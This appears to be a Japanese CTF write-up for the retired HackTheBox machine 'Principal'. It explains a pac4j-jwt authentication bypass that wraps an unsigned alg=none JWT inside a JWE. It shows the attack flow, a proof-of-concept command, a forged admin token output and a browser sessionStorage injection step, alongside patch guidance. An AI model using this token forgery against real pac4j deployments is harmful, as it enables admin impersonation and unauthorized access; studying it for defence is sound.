| フィールド | 詳細 |
|---|
| 名前 | Principal |
| プラットフォーム | HackTheBox |
| 難易度 | — |
| ステータス | 引退済み |
影響を受けるライブラリ: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
深刻度: 重大
タイプ: 認証バイパス
JwtAuthenticator のロジック上の欠陥により、攻撃者は署名のない PlainJWT(alg=none)をJWE(暗号化JWT)内にラップすることで認証をバイパスできます。
サーバーがJWEを復号すると、内部トークンを SignedJWT として解析しようとします。内部トークンが PlainJWT であるため、SignedJWT オブジェクトはnullとなり、署名検証は完全にスキップされます。その後、サーバーは検証されていないクレームからユーザープロファイルを構築するため、管理者を含む任意のユーザーへの完全ななりすましが可能になります。
悪意のあるクレームを作成(sub=admin、role=ROLE_ADMIN)
↓
署名のないPlainJWT(alg=none)を構築
↓
サーバーのRSA公開鍵を使用してPlainJWTをJWE内にラップ
↓
JWEトークンをサーバーに送信
↓
サーバーがJWEを復号 → PlainJWTを検出 → 署名チェックをスキップ → アクセスを許可
exploit.py を参照
pac4j-jwt をパッチ適用済みバージョンにアップグレード:
4.5.9 以降5.7.9 以降6.3.3 以降または、JWE復号後に PlainJWT 内部トークンを明示的に拒否:
if (jwt instanceof PlainJWT) {
throw new CredentialsException("PlainJWT not allowed inside JWE");
}
/api/auth/jwks
alg: none公開鍵を使用してJWE内にラップ
送信:
Authorization: Bearer <token>
pip install jwcrypto requests
python3 poc.py \
--jwks-url http://target/api/auth/jwks \
--target http://target/api/dashboard
[+] Forged Token:
eyJhbGciOiJSU0EtT0FFUC0yNTYi...
[+] Browser Injection:
sessionStorage.setItem("auth_token", "eyJhbGciOiJSU0EtT0FFUC0yNTYi...")
[+] Status: 200
{"user":{"username":"admin","role":"ROLE_ADMIN"}}
DevTools → コンソールを開く:
sessionStorage.setItem("auth_token", "<PASTE_TOKEN_HERE>")
次に、以下の場所に移動:
/dashboard
alg: none のトークンを拒否